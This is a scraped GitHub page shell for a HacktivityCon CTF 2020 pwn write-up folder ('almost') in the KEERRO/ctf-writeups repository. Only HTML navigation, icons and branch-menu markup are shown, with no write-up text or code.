1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> KEERRO </span> <span>/</span> ctf-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>27</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>2</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>1</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/KEERRO/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":162845937,"originating_url":"https://github.com/KEERRO/ctf-writeups/tree/master/HacktivityCon%20CTF%202020/pwn/almost","user_id":null}}" data-hydro-click-hmac="d32b589ca43da2f00ef3171a1f67cbf24c520f92bd7aced521e733d7ab40fcdf"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1647876588.2277062" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1647876588.2277062" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> 